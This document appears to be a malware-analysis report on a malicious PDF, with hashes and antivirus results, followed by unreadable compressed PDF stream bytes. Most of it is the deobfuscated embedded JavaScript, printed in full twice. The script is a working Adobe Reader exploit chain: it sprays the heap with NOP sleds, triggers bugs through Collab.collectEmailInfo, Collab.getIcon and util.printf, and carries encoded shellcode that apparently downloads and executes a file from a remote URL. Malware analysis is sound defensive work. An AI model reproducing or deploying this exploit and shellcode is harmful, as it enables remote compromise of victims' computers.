\",\"%u0156%u0\",\"000%u006a\",\"%u006a%\",\"uea89%u\",\"c281%u0\",\"15e%u\",\"0000%u89\",\"52%u81ea%\",\"u78c2%\",\"u0002%u5\",\"200%u\",\"006a%ud0f\",\"f%u05\",\"6a%uea89%\",\"uc281%u01\",\"5e%u0000%u\",\"ff52%u5a9\",\"5%u0001%u8\",\"900%u\",\"81ea%\",\"u5ec2%u000\",\"1%u5200\",\"%u8068%u\",\"0000%uff00\",\"%u4e95%u\",\"0001%\",\"u8900%u81e\",\"a%u5e\",\"c2%u0001\",\"%u3100\",\"%u01f6%u8\",\"ac2%u35\",\"9c%u026e%\",\"u0000%\",\"ufb80%u7\",\"400%u880\",\"6%u321c%ue\",\"b46%uc6e\",\"e%u32\",\"04%u890\",\"0%u81ea%u4\",\"5c2%u0002%\",\"u5200%u9\",\"5ff%u01\",\"52%u0000%\",\"uea89%u\",\"c281%\",\"u0250%u0\",\"000%u5052%\",\"u95ff%u01\",\"56%u0000%u\",\"006a%u\",\"006a%uea\",\"89%uc28\",\"1%u015e%u\",\"0000%u8\",\"952%u81\",\"ea%ua6c2%\",\"u0002%\",\"u5200%u00\",\"6a%ud0f\",\"f%u056\",\"a%uea89%uc\",\"281%u\",\"015e%u\",\"0000%uff\",\"52%u5\",\"a95%u0001\",\"%u9d00%u5f\",\"5d%u5a5e%u\",\"5b59%uc358\",\"%u0000%u00\",\"00%u0000%u\",\"0000%u0000\",\"%u0000%u\",\"0000%\",\"u0000%u65\",\"47%u5474%u\",\"6d65%u5070\",\"%u7461%u41\",\"68%u4c00\",\"%u616f%u\",\"4c64%u\",\"6269%u\",\"6172%u797\",\"2%u00\",\"41%u654\",\"7%u5074%u6\",\"f72%u416\",\"3%u646\",\"4%u6572%u\",\"7373%u\",\"5700%u6e\",\"69%u78\",\"45%u63\",\"65%ubb0\",\"0%uf2\",\"89%uf789%\",\"uc030\",\"%u75ae%u2\",\"9fd%u\",\"89f7%\",\"u31f9%\",\"ubec0%\",\"u003c%u\",\"0000%ub503\",\"%u021b%u00\",\"00%uad6\",\"6%u85\",\"03%u021\",\"b%u0000%u7\",\"08b%u8\",\"378%u1cc\",\"6%ub50\",\"3%u021b%u\",\"0000%u\",\"bd8d%\",\"u021f%u00\",\"00%u03\",\"ad%u1b\",\"85%u00\",\"02%uab00%\",\"u03ad%u1b\",\"85%u0002%\",\"u5000\",\"%uada\",\"b%u8503%u0\",\"21b%u0000\",\"%u5eab\",\"%udb31%u56\",\"ad%u850\",\"3%u021b%\",\"u0000%uc6\",\"89%ud7\",\"89%ufc51%\",\"ua6f3%u7\",\"459%u5\",\"e04%ueb43\",\"%u5ee9%u\",\"d193%u03e0\",\"%u2785%u0\",\"002%u3100\",\"%u96f6%\",\"uad66%ue\",\"0c1%u0302%\",\"u1f85%u00\",\"02%u8900%\",\"uadc6\",\"%u8503%u02\",\"1b%u00\",\"00%uebc3\",\"%u0010%\",\"u0000%\",\"u0000%u000\",\"0%u00\",\"00%u0000%u\",\"0000%\",\"u0000%u890\",\"0%u1b\",\"85%u0002%\",\"u5600%ue8\",\"57%uff58%u\",\"ffff%\",\"u5e5f%u\",\"01ab%u80c\",\"e%ubb3\",\"e%u0274%u\",\"edeb%u55\",\"c3%u4c5\",\"2%u4f4d\",\"%u2e4e%u\",\"4c44%\",\"u004c%u525\",\"5%u444c%u7\",\"76f%u6\",\"c6e%u616\",\"f%u5464%u\",\"466f%u\",\"6c69%u\",\"4165%u750\",\"0%u64\",\"70%u7461%\",\"u2e65%\",\"u7865%u\",\"0065%u72\",\"63%u7\",\"361%u2e68\",\"%u687\",\"0%u007\",\"0%u7468%\",\"u7074%u2\",\"f3a%u6f2f%\",\"u616c%u64\",\"6e%u6e6f%\",\"u632e\",\"%u6d6\",\"f%u76\",\"2f%u7\",\"265%u\",\"6173%u75\",\"2f%u6470%u\",\"7461%u2e65\",\"%u6870%u3f\",\"70%u6\",\"469%u3\",\"33d%u7226%\",\"u7465%u\",\"6f3d%u00\",\"6b%u9000\");lxDQHmzn = unescape(lxDQHmzn.join(\"\"));var phldahIIt = 0x400000;var rqVkMn73vX = lxDQHmzn.length * 2;var enaQ3oKPv = phldahIIt - (rqVkMn73vX + 0x38);var zHY94ooE = unescape(\"%u9090%u9090\");zHY94ooE = xpZUeT6FR(zHY94ooE, enaQ3oKPv);var wfNlaURwA = (iric865U - 0x400000) / phldahIIt;for(var eziXZcNwIJ = 0; eziXZcNwIJ < wfNlaURwA; eziXZcNwIJ++){bVc0vYoMR[eziXZcNwIJ] = zHY94ooE + lxDQHmzn;}}function gsaZVSFUw(){var mzcnNPzF9a = 0;var rpQegGRv = app.viewerVersion.toString();app.clearTimeOut(rY2CxZ3zCv);if((rpQegGRv >= 8 && rpQegGRv < 8.102) || rpQegGRv < 7.1){tUkoPNmN(0);var bjW5dSzGu = unescape(\"%u0c0c%u0c0c\");while(bjW5dSzGu.length < 44952) bjW5dSzGu += bjW5dSzGu;var bM2qoQpW = this;var x52iu1NL = Collab;bM2qoQpW[\"collabStore\"] = x52iu1NL[\"collectEmailInfo\"]({subj : \"\", msg : bjW5dSzGu});}if((rpQegGRv >= 8.102 && rpQegGRv < 8.104) || (rpQegGRv >= 9 && rpQegGRv < 9.1) || rpQegGRv <= 7.101){try{if(app.doc.Collab.getIcon){tUkoPNmN(2);var kLWPthXb = unescape(\"%09\");while(kLWPthXb.length < 0x4000){kLWPthXb += kLWPthXb;}kLWPthXb = \"N.\" + kLWPthXb;var g5Zbqtcrq = app;g5Zbqtcrq[\"doc\"][\"Collab\"][\"getIcon\"](kLWPthXb);mzcnNPzF9a = 1;}else{mzcnNPzF9a = 1;}}catch(e){mzcnNPzF9a = 1;}if(mzcnNPzF9a == 1){if(rpQegGRv == 8.102 || rpQegGRv == 7.1){tUkoPNmN(1);var edLLyOc8V = \"12999999999999999999\";for(w3RDafYN = 0; w3RDafYN < 276; w3RDafYN++){edLLyOc8V += \"8\";}var qVTBH6EV5 = util;qVTBH6EV5[\"printf\"](\"%45000f\", edLLyOc8V);}}}}app.gki0cHIe = gsaZVSFUw;rY2CxZ3zCv = app.setTimeOut(\"app.gki0cHIe()\", 10);';this.uidBX8Gl=0.0623598931;function cQZodvu46(irJ9fFty,jheATvQqm){return false;}nee0gN0y='v9526VsQE';var eYBbp78I = zx4McRdQG.replace(/[]/g, '');function hLPauvgOSG(nhfZ8mPVxS){}tVSJgiMkif='fTmHH2GE';var xl0w3p61=new Array();xl0w3p61[0]=15019;xl0w3p61[1]=17672;var aRBRHTUkH = 'eval';app[aRBRHTUkH](eYBbp78I);this.z58Znpjdc=30883;var g4Dvw2lIw=false;oPqJeQB9n=6199;
generic_stage_recovery_003.js deobfuscated-js generic stage recovery percent-decode from decompressed stream at 0x30D1 at offset 0x30D1 5736 bytes
SHA-256: 618a8fc1e99d6b2fcb2cc0b7c25585d22ebc119cdb43f0fe2f30a053dcdfd0af
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
jEx0K7hU=null;function tzyOODPYo(){return false;}jcqQmdpD="txsUKLJmF";var zx4McRdQG = 'var bVc0vYoMR = new Array();var rY2CxZ3zCv;function xpZUeT6FR(zHY94ooE, enaQ3oKPv){while(zHY94ooE.length * 2 < enaQ3oKPv){zHY94ooE += zHY94ooE;}zHY94ooE = zHY94ooE.substring(0, enaQ3oKPv / 2);return zHY94ooE;}function tUkoPNmN(jk5aj6jqm){if(jk5aj6jqm == 0){var iric865U = 0x0c0c0c0c;}else if(jk5aj6jqm == 1){iric865U = 0x30303030;}var lxDQHmzn = new Array(\"%u5350%u5\",\"251%u5756\",\"%u9c55\",\"%u00e\",\"8%u0000%u5\",\"d00%ue\",\"d83%u310d%\",\"u64c0\",\"%u4003%u78\",\"30%u8b\",\"0c%u0c4\",\"0%u708\",\"b%uad1c%\",\"u408b%u\",\"eb08%u\",\"8b09%u344\",\"0%u408\",\"d%u8b7c\",\"%u3c40%\",\"u5756%u5eb\",\"e%u0001\",\"%u0100%u\",\"bfee%u0\",\"14e%u0\",\"000%uef0\",\"1%ud6e8%u0\",\"001%u\",\"5f00%u895e\",\"%u81e\",\"a%u5ec2%\",\"u0001%u520\",\"0%u8068\",\"%u0000%\",\"uff00%u\",\"4e95%\",\"u0001%u890\",\"0%u81e\",\"a%u5ec2%u0\",\"001%u3100\",\"%u01f6%u8a\",\"c2%u359c%u\",\"0263%u0000\",\"%ufb80\",\"%u7400%u8\",\"806%u321c\",\"%ueb46%u\",\"c6ee%u320\",\"4%u8900%\",\"u81ea%u\",\"45c2%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea8\",\"9%uc28\",\"1%u0250%u0\",\"000%u5\",\"052%u95ff\",\"%u0156%u0\",\"000%u006a\",\"%u006a%\",\"uea89%u\",\"c281%u0\",\"15e%u\",\"0000%u89\",\"52%u81ea%\",\"u78c2%\",\"u0002%u5\",\"200%u\",\"006a%ud0f\",\"f%u05\",\"6a%uea89%\",\"uc281%u01\",\"5e%u0000%u\",\"ff52%u5a9\",\"5%u0001%u8\",\"900%u\",\"81ea%\",\"u5ec2%u000\",\"1%u5200\",\"%u8068%u\",\"0000%uff00\",\"%u4e95%u\",\"0001%\",\"u8900%u81e\",\"a%u5e\",\"c2%u0001\",\"%u3100\",\"%u01f6%u8\",\"ac2%u35\",\"9c%u026e%\",\"u0000%\",\"ufb80%u7\",\"400%u880\",\"6%u321c%ue\",\"b46%uc6e\",\"e%u32\",\"04%u890\",\"0%u81ea%u4\",\"5c2%u0002%\",\"u5200%u9\",\"5ff%u01\",\"52%u0000%\",\"uea89%u\",\"c281%\",\"u0250%u0\",\"000%u5052%\",\"u95ff%u01\",\"56%u0000%u\",\"006a%u\",\"006a%uea\",\"89%uc28\",\"1%u015e%u\",\"0000%u8\",\"952%u81\",\"ea%ua6c2%\",\"u0002%\",\"u5200%u00\",\"6a%ud0f\",\"f%u056\",\"a%uea89%uc\",\"281%u\",\"015e%u\",\"0000%uff\",\"52%u5\",\"a95%u0001\",\"%u9d00%u5f\",\"5d%u5a5e%u\",\"5b59%uc358\",\"%u0000%u00\",\"00%u0000%u\",\"0000%u0000\",\"%u0000%u\",\"0000%\",\"u0000%u65\",\"47%u5474%u\",\"6d65%u5070\",\"%u7461%u41\",\"68%u4c00\",\"%u616f%u\",\"4c64%u\",\"6269%u\",\"6172%u797\",\"2%u00\",\"41%u654\",\"7%u5074%u6\",\"f72%u416\",\"3%u646\",\"4%u6572%u\",\"7373%u\",\"5700%u6e\",\"69%u78\",\"45%u63\",\"65%ubb0\",\"0%uf2\",\"89%uf789%\",\"uc030\",\"%u75ae%u2\",\"9fd%u\",\"89f7%\",\"u31f9%\",\"ubec0%\",\"u003c%u\",\"0000%ub503\",\"%u021b%u00\",\"00%uad6\",\"6%u85\",\"03%u021\",\"b%u0000%u7\",\"08b%u8\",\"378%u1cc\",\"6%ub50\",\"3%u021b%u\",\"0000%u\",\"bd8d%\",\"u021f%u00\",\"00%u03\",\"ad%u1b\",\"85%u00\",\"02%uab00%\",\"u03ad%u1b\",\"85%u0002%\",\"u5000\",\"%uada\",\"b%u8503%u0\",\"21b%u0000\",\"%u5eab\",\"%udb31%u56\",\"ad%u850\",\"3%u021b%\",\"u0000%uc6\",\"89%ud7\",\"89%ufc51%\",\"ua6f3%u7\",\"459%u5\",\"e04%ueb43\",\"%u5ee9%u\",\"d193%u03e0\",\"%u2785%u0\",\"002%u3100\",\"%u96f6%\",\"uad66%ue\",\"0c1%u0302%\",\"u1f85%u00\",\"02%u8900%\",\"uadc6\",\"%u8503%u02\",\"1b%u00\",\"00%uebc3\",\"%u0010%\",\"u0000%\",\"u0000%u000\",\"0%u00\",\"00%u0000%u\",\"0000%\",\"u0000%u890\",\"0%u1b\",\"85%u0002%\",\"u5600%ue8\",\"57%uff58%u\",\"ffff%\",\"u5e5f%u\",\"01ab%u80c\",\"e%ubb3\",\"e%u0274%u\",\"edeb%u55\",\"c3%u4c5\",\"2%u4f4d\",\"%u2e4e%u\",\"4c44%\",\"u004c%u525\",\"5%u444c%u7\",\"76f%u6\",\"c6e%u616\",\"f%u5464%u\",\"466f%u\",\"6c69%u\",\"4165%u750\",\"0%u64\",\"70%u7461%\",\"u2e65%\",\"u7865%u\",\"0065%u72\",\"63%u7\",\"361%u2e68\",\"%u687\",\"0%u007\",\"0%u7468%\",\"u7074%u2\",\"f3a%u6f2f%\",\"u616c%u64\",\"6e%u6e6f%\",\"u632e\",\"%u6d6\",\"f%u76\",\"2f%u7\",\"265%u\",\"6173%u75\",\"2f%u6470%u\",\"7461%u2e65\",\"%u6870%u3f\",\"70%u6\",\"469%u3\",\"33d%u7226%\",\"u7465%u\",\"6f3d%u00\",\"6b%u9000\");lxDQHmzn = unescape(lxDQHmzn.join(\"\"));var phldahIIt = 0x400000;var rqVkMn73vX = lxDQHmzn.length * 2;var enaQ3oKPv = phldahIIt - (rqVkMn73vX + 0x38);var zHY94ooE = unescape(\"%u9090%u9090\");zHY94ooE = xpZUeT6FR(zHY94ooE, enaQ3oKPv);var wfNlaURwA = (iric865U - 0x400000) / phldahIIt;for(var eziXZcNwIJ = 0; eziXZcNwIJ < wfNlaURwA; eziXZcNwIJ++){bVc0vYoMR[eziXZcNwIJ] = zHY94ooE + lxDQHmzn;}}function gsaZVSFUw(){var mzcnNPzF9a = 0;var rpQegGRv = app.viewerVersion.toString();app.clearTimeOut(rY2CxZ3zCv);if((rpQegGRv >= 8 && rpQegGRv < 8.102) || rpQegGRv < 7.1){tUkoPNmN(0);var bjW5dSzGu = unescape(\"%u0c0c%u0c0c\");while(bjW5dSzGu.length < 44952) bjW5dSzGu += bjW5dSzGu;var bM2qoQpW = this;var x52iu1NL = Collab;bM2qoQpW[\"collabStore\"] = x52iu1NL[\"collectEmailInfo\"]({subj : \"\", msg : bjW5dSzGu});}if((rpQegGRv >= 8.102 && rpQegGRv < 8.104) || (rpQegGRv >= 9 && rpQegGRv < 9.1) || rpQegGRv <= 7.101){try{if(app.doc.Collab.getIcon){tUkoPNmN(2);var kLWPthXb = unescape(\"	\");while(kLWPthXb.length < 0x4000){kLWPthXb += kLWPthXb;}kLWPthXb = \"N.\" + kLWPthXb;var g5Zbqtcrq = app;g5Zbqtcrq[\"doc\"][\"Collab\"][\"getIcon\"](kLWPthXb);mzcnNPzF9a = 1;}else{mzcnNPzF9a = 1;}}catch(e){mzcnNPzF9a = 1;}if(mzcnNPzF9a == 1){if(rpQegGRv == 8.102 || rpQegGRv == 7.1){tUkoPNmN(1);var edLLyOc8V = \"12999999999999999999\";for(w3RDafYN = 0; w3RDafYN < 276; w3RDafYN++){edLLyOc8V += \"8\";}var qVTBH6EV5 = util;qVTBH6EV5[\"printf\"](\"E000f\", edLLyOc8V);}}}}app.gki0cHIe = gsaZVSFUw;rY2CxZ3zCv = app.setTimeOut(\"app.gki0cHIe()\", 10);';this.uidBX8Gl=0.0623598931;function cQZodvu46(irJ9fFty,jheATvQqm){return false;}nee0gN0y='v9526VsQE';var eYBbp78I = zx4McRdQG.replace(/[]/g, '');function hLPauvgOSG(nhfZ8mPVxS){}tVSJgiMkif='fTmHH2GE';var xl0w3p61=new Array();xl0w3p61[0]=15019;xl0w3p61[1]=17672;var aRBRHTUkH = 'e'+'v'+'a'+'l';app[aRBRHTUkH](eYBbp78I);this.z58Znpjdc=30883;var g4Dvw2lIw=false;oPqJeQB9n=6199;
generic_stage_recovery_004.js deobfuscated-js generic stage recovery null-collapse -> split-literal-normalize from raw PDF metadata at offset 0x0 19903 bytes
SHA-256: a4bcd98f4b192e0e58b78b7bc7c45af4f072ed3183b95d9a769f2e34e529de27
Detection
ClamAV: Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 2630>>
stream
x��[]o� }ϯ�@1@�P�e�q���tw�@��L� X� %� #JTHʎ��{(' :�m) f ��X�%� �s y5�,���)���-�� ��x��Wv��>�0���tJ7k�����ӱ�w��h>���)-�&W+��M 8g M�3JJ��ψ>+�e��� ��� �� �N�~�p��j9�]��   t�ү  �U �[֚ύ U�����g���{��=�]��h:Y�v�eտ9Oora�;N'� �^��x�^�뻛� � �����{���� Ɨ� ��ٜ�WדhE%- s�������/gl<����z�1  K�
��� ��X	ih�ZQ�d�(�:�A  �"a��=�d� OY5� 	�2NVՆRUU  $��F�b�*Z�XrJ4�Ɋ��-�
%��Մ>sa�i���L���F��;bĪ�XJ���a��� .� `��`L_-�� 
**��RU�JK������ dq��ӽ�� )\Ĥ�#T�
 �lN�j���Tt���$��T
?���� 8��bM�lL�}$'��V��"� ���gY �������	��J#&B ��05B����t�  j��d(�o � �]�&���1:����VȔ�( �� �� s U��& ��� $܃�W$��aSNBZ;{���6Ռ�L�4�D�ꦮ[x[*d��sU�t�YK-��
�$� �� �  "Ep����f��ZUQ+8�^38�"�a��kqO	����lJ�lx
?�8 s&S W� R.opO ���@��{��� N�F -怨8�\b�  <SjM�k� ]Sp\�k�,��T) �	` # U�6hT��6}b ~0�L ��" %wI) ��#� �1M5�e%�h����A�J   )m � (� ��r��X8 S�E^WI>��m`x��Yn�R  *�N�ZYN�F�Qe �4H��s�j��4 �V9�]H�F � �0lKZ�� O)n*��D��  ��R���5G�.�H  3XQ��u)�j�	x+0mc�m�*iB �U�ں� �i. i����Zm:��  j ]D"k�	��ER4�x0 �]`>�(M^�@��Z
 '�n�jN����} 	��W�g {x   r�e�� oX��H| �v�g�b&?�/ԏ�>�'92H8������D�� H �+/� � U� X�X�º<6�� �	��\��%� ��s �8 �<)�L��}d�� �7������ 1���g� UK ����3 �t�_��� ��h� �w�
  �D�C��H�w��^ 6�Wh���
�  }x�U��XW�VI �˲�� Jxe�"|H x�Y�ZEdc��i�w�X "{_] 4��I�� c�+�	�f��ڨN�@�t����� ��2A��Y� i�W���e#��S8�%@Ƞ,V��� -d
  j� bg�� cu�����= QK�ͅ�[n �H
N �����+~ ���� �4�a���� [�t�W ��$Db  H���k�Yh 4���_�!y��)Y��W(�1�O��q  (��� /cB��+Vj	  |ߋ�p�?9�A%2�9 ~rD�H�� {�Ws�N� �J��� ݉���
� �zH����� 	5l5� �()��z � � �Bq �<�]	;�P<���D	� �H9��A�vV� � ޢS"�m�݋ ;o�:�,���3 ��6e�z��B U�  bU��mHӽb&�   P�u�:�]/W� �0�9� � p�0    �H_���4) ��H��y�v�+/<� �Ҧ�&α ���x���?�5jbY��o�� ���ޫjj� �uMwA3�+Z m���꽵��b� {  �r�$ip��І!��&�?   w���#� � �w2���C�b��k� �u�5s{�[f��T% �d��B�?�7�'MTҰݱ�� �H1tt %� ���h���HD���
~��:�+֎i���ue @h�}_/S�By 5֫T�+"��h�r����9=�Kv[<@j�X%��6���������	:���ul��% 25w;b� �ow�O �t�W/�ɭ� �ź� �  9��x��m�L"��o�� � � c� �.  n)�  \�m^ =� �-  �PH x�� � � }�� ���6\c �w�ڐu�ܫ%�"U�Ӎ �
_,ِ���,hv��nF ����)�  �o e�U�K�~� %s&���^e�ӭ �|�|h��|mO�@�Bcһ�~b)G Z�"�Ml�  T �q���9) ]���^�O�W��� �� H��
F y n�m� �<��U�<�y%��W  v�� Xkv=��<��r��{�G ���l��^ đ������r e e��!�J� � �]���p7��qB� �q]qc��Յ�ǫf�]��� e\?	  �� �jt��#��  �* N(�L �~�Y6X�]?�$LsW�'�[ ���~��1͜22�| � ^ p��^vލ[D��e�*�D�0������l
��� )�F��W5c+wöy 	 �u���۷��H,�� �p����epSc�;�� pDH��u��L ]}G&� ����� b�� I��ۀ|� � Ʉ4�� �X* -�� �G�O�ޥ�㢈tȽ�ȫG�- �� w
t8nr�� 2	0* �5� �i�t@)!=��=C��v��j��� �1�i6 i��2�� �~�i䠧 �=}�b�*��^ų� {�n�q��. g�K,o�Hޑ��딡[?g� �I�aO� sF  �|��k~=!�F=�����߶p� �xzL=�l� � OdϮ'��� ٻ��y� ���I�D$'��#/�,��#]zf� ����� ek
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 2507>>
stream
x��[[o� ~ϯ8@1@�P�e�q���t�]`�ݙ-�� J�%� ��� ���G%i�X��d�i1pƖi�ܿs���Œv4� �_ � 9^?�U\|wC ����d:��5�������2�FI2��W�ɔ W�� ]�& �Y&�録�>�#�O�~y��<�qz��;�b�t�) �$W��쒮g�����~��PN�E�Xk?5F��O��͏���}��~�} � �N����2�O��R�������v � �� ���y~q��� �V�Qӭ�!��#� �lN˫�I��� �����gI_��   �{x�Rz2���[C'����P�u�
�T��,��R M�d��ɡ�� %�/����
� 3 �/]IuS�-9&����9��I�*�9)&��Zꪦ{�Zj���FVd ��0IY)*N%�6�S�s�R ��	}/�i�c��-��Nt�* �uQ`}͝kcr> �<m��׍�-՞p�J>��
_�{|RyKkmr*d �+�S+jO* �Z8;r�n��Ք6B:�4�\pG[�3�t�w � ̀ 
Q8!yL �  H� �Ғ��}ɴ ��7䕕P�  )^0lj� ���Zؚ��T ��$�'o* ���k�;����� J��ְ H� �
'�ZKf�P� ��$���~ � 
��]���p�(ol\s�����*�č��Q� %�A� ��rV�T g�+�	 ���R&s�EQ:R��Z(�� `>)U�D�n���6����ML=^�^ ���Pغ���] �������!*	�A���� �C�yg$�%�X��tc9LC���,�Xn �$��6 �)1�4��W�LMwQɸz!�'aX��i�F� ��� A�1�&��� �ą���V� jj� �
� �� �� 愾8��  �
.�x**��0|�GB�@/�pX~�y ���K��O �9ۘ  @� J�ΰ5쓥Fd��:��G�� �,sԘ �+  � � q �$�~� �Ĥ�@�� 5�� �?3�- D���X*!�� ��� Z��u9��#4  ^�{L  h�:� [�j� �d �p��z ��  h
|��j�C ��~%� .;��Z�e � �'��nD`p�{��5sg�~���@=� <�� ��5Ц �:�+�r�!� *� � � P)rJ r&ҍ�� �$� � ��� �bt  �ڦ�   �a L
�r,kr ��| *��~��E��z O��a C $�q ��X���xXi��r�� 2�UvO���Z�O(H��)* A�p �| ���G1 
_� ޏ��ׂAI`0 �LE-( g �=� - @���a �� ͹f���?f�[ �؝� ��q� ��$�BMЏ�Qq� �گ\ܞ���B  ?� �#%P*�9� �~RR� �3 c�� ��(l��eb�!�#�b��'�P�*_ �� W+ ���R��� ��2���c B�/d}�_uVz pw �5� v��a$&�A&pV�_ (�� �� "q{� �����1�:^̍F��� ��   �� tL1 �I!aX�!�=�� ���M����� ��d>H` �����Q͔/sO�ha x��Խ�{�퀎��b�  �~,��W!�v0��  /�^��j��A�� r)���iŽn�"�w �-���"W6�k`�l�5 ^ '&�A��5p�����c�gT�rB�  �� o�;�d#�P�(� �-%kρ���ΏWP�
 %�Pv  �uWq�PhTr�S�wu kdH
�׮|��;�rb� �i����ET� �L �5�g� �o�  �ly'�d�Xx�5�S$�j/ F%<�D�jSz̵ Q��:.�E�~�
G,�}˘� Y�k ��I�R� �m�@_�+Ҿ2���6� �\�4�� �T� �: �����` � �� �x��� ����o� ��;�X�� � Uvk�J�]i��r�>�W�}Ty�:އp1E�7Z��E�z�1T ޵ �o � ����b��[ ����pa�[�= SL)  I/���� �����:�   @U�ӔS�t91� ���z�j�W鏚�  W����d? Q8����Qğ� � ���� 'b �?�?�q�:����O���e�(�h��2h 짃`е�br �q��x�v ��� ��  p�� U�˱��Sc [�&�$�( $
G����׷=�8 �����p ��<u�2�%�O` �vc2�n,� �c
a 6=N�P|�A� �0�E���H ���~W  �fA�f�m}��95� ?��F!{���� ��� 8���=�} G�JȥQ�
 ��g |�  �������b��� ��p ,*�� Re�Ø�x�h�u�0�I� ��Q#��r ү�y� � �� ��H��� ~&T��>I���=@ 4�G%t��� :Z�� �	�d!<�3j����Q ��  Ő���(��ڻq�;\�
hbr �L�ݧ�y�u��������tT=/F K0�� �Q� w<����Q �8�� �Ϣ6��˓�rt� �H{2 _]rΡ�w� �)� ��HO_����6+�j:9 0�~H� B�� H鯏�<��׎�� ��������� YOy@�u/ >E����{C����# � �`�>��#�
�݈
WT��E �Pg�7{�� B�x~�:��BI�7�1�]O拗G� ?�'�O�:I&� �O�˧��S� }�ˀ��P�� _:� 
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 2370>>
stream
x��[]o�6 }ϯ������j� ��c��m�@ �4�.P�h�1EjHʎ��{h'c&�m�	�A��Vd�~�{.�A2�Қ � ^w�� ���� ^��w���� ͒��n ��۫�Oצ�5  ��x�� hr����z�Lp�t� F�U��?C�������ሃ� |� n <�m
�0Ûi2���  't���  ��o嚵�cc�*�� ���9��}&�k�@�� ����2�_���R�`�A2���
��uw�����W�  ����g�l�� ��VB�x4���, Ω��d����Y�ot��	 ��� �R+= �d�ac�T��Һ�\�eU�RfD�)5Ze��ayB�q�J�Y�H�ĤX�dߍo'��N�OLт	Ӓ�7-�zM�ׂ��M�ŕc��� f��i]sC<ժ� RZ* �$��e[�|�
9�9���*� �%ê:� ��0Z3S��ڕT7u��f� �Eͩh���4�Y��Y,0Ef �� ��	���UM����2��Z�uL�G;� V �q�؄� � B�d ���7V�;VqXC ��Ts�ZJ o�E�r|� � �2�� �x�4<���Ԋ��  �!Hk ��
,�x����ηz�b94B:�4�\pG+R,�vY� R0 m5�*�e��-4�:Y	� Q � �8V S�!#�R�� z@K#�  aE���P�`T�q$�s��D������ P�R
mS�� a�ܠ�T 7�[���W�2�C�t����Pp��`��*��� F��� �ʹ]� �f� � F;�؃K �X�+��T�i�@� ��U�
 ��C�(������c�5� ���;�2��qe l�� K# G h d5��+ t�DRK�ڝF��ʒ��31b��n+lB? �
NNó�V b�3GYc� R�TB ��K �q�sc����  e g ��cX� KZ*,�J+M�#^�܇ѝ�j��� ~FFG�� )�:� � �c�@��Y-���t� �w�ō1�OY 6� �� Ŀ�{mT�&��U ��Z{�R���h)+��p~�#Kg�/"J�-��B�>x�p#� ���JQQ[@*� w+8RՂ���i.�%|f�X�
kb   �#U\: � A� �B8�@)b,0 ���=�2�9� Aᰇ��?q �$� f  �'8�� 9�5� ; G,��(�k ��q� T � ���Y/L�/�M� ��^ \�[ԉ(��  +�1���N��6͐^q㐂��9Ð� � �E���"MD L�r� ���C� �5��9��K� �	*� B�g  -:� �  �;?4� a�# �4@P�\�z[��5�� ѧ���A1� 
�笋v| J5�F��X�8@,g�/�/4�  �*�~ ��i���X� 4���7�`o <��&� ���$���`s`�0��N  C ( �*� ݠ�I�vQ� �`G_�l�\�M 0� r"o���T�j  +GX�%PUc�5HX�v�w '��]�
)� �6�� �)�kI� +N1!�xSD�����$;�1,o�/�� ;|1U�� ��hyi_q��Q ����� �
���l	���ZD�3Q{G�A9� �1�'=ژ�# P)��p�Ͱ��=hF�X ��kk�^�; �����[N� >C:a|%����� �5X�yF�0��/�{�iL� �  hT� �{�*8\  �����r� �dI(�}1� �Jm�:��i����ʈs���k� u���
uXTifg�m�
 �N��p���Y ���@��}
�l�ص����ʘ� �T½���� �����tV v A)� �L+ z�B K�R�����k t��GXkL� `>� ��&v`�6i �D~�G�G�:�0�� �w��ì5jL� ���b� ��9���nᩎ�����<e� 1M ��9
ڗ��a �%b0��:��'zd �e�a]V�V����vjD ��r�7m7I �)8���y�3ݿ *tv@c* T'/��p�� ���>"�� C,  ޱ	;�v7aw 2  ��8 bA[K� ���������ylets�)��3R   >-S,��f��<�x� #I�?���K^ ~W����7
 I �do����m�Q�aˬ��� 9ns ��-�|@�1>A�*�S��B����Sg5L���猓,a��ؽ�U�;7�B��F 
���� �����[ �G{��� �C�p�5�� �p> ��D ����Uk�Ԋ� �Y�R� U  ��(1- TZ���{ t�kk$ �Ob k$B ��4<��g�� c*�l���n`T �ʣ?d֛bi� �Ϩ ʧ��
�l<>Qο�X����� ��w&�� &�r�`B� },��M�� � ���GXb !�;����MH� �o�Mj�:��.G8�}�p�<9�ʽ�#GMb  �J^ -@��*��  ݼ���;�� n1� j�
� �dQ�p��eH�,kr��P�� �_�%W,�t� ������y���� N�Tjv���� 8=
��O&� \==�9D� J� �9�f�x�{�q��?�xD��0 N ����q�����>�u���OI^�	�˷(
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 1037>>
stream
x��V]o�6 }��8�P`{ #�;�˺v+СM l@� J�e� ��� ���0 �� �̓![&.y�9��{��� =2��s�O��S�y˧ ��p�f���2���m5�zX[ �!�'br�- fs1?�t,f�Y�" �lp�G��  �vO O̞��
 M�G߾ ��� 1�b9�� �
�~�6�_L/�����?}�� }<�} ���;#�< ��_i�T�Zmt8�� ���� ���j�����֏����J �w ��� ��R�h0�M  ��
.0��
�O��t�,� `�Hj�%�L������  ��*DY���U k�� p.-�R� �� l\��Z- Zߕ
!z٣�����Y�� � ��1 �� w  PS 02(/��Py�^� �iܠ��v� ��S��w��{��n ��
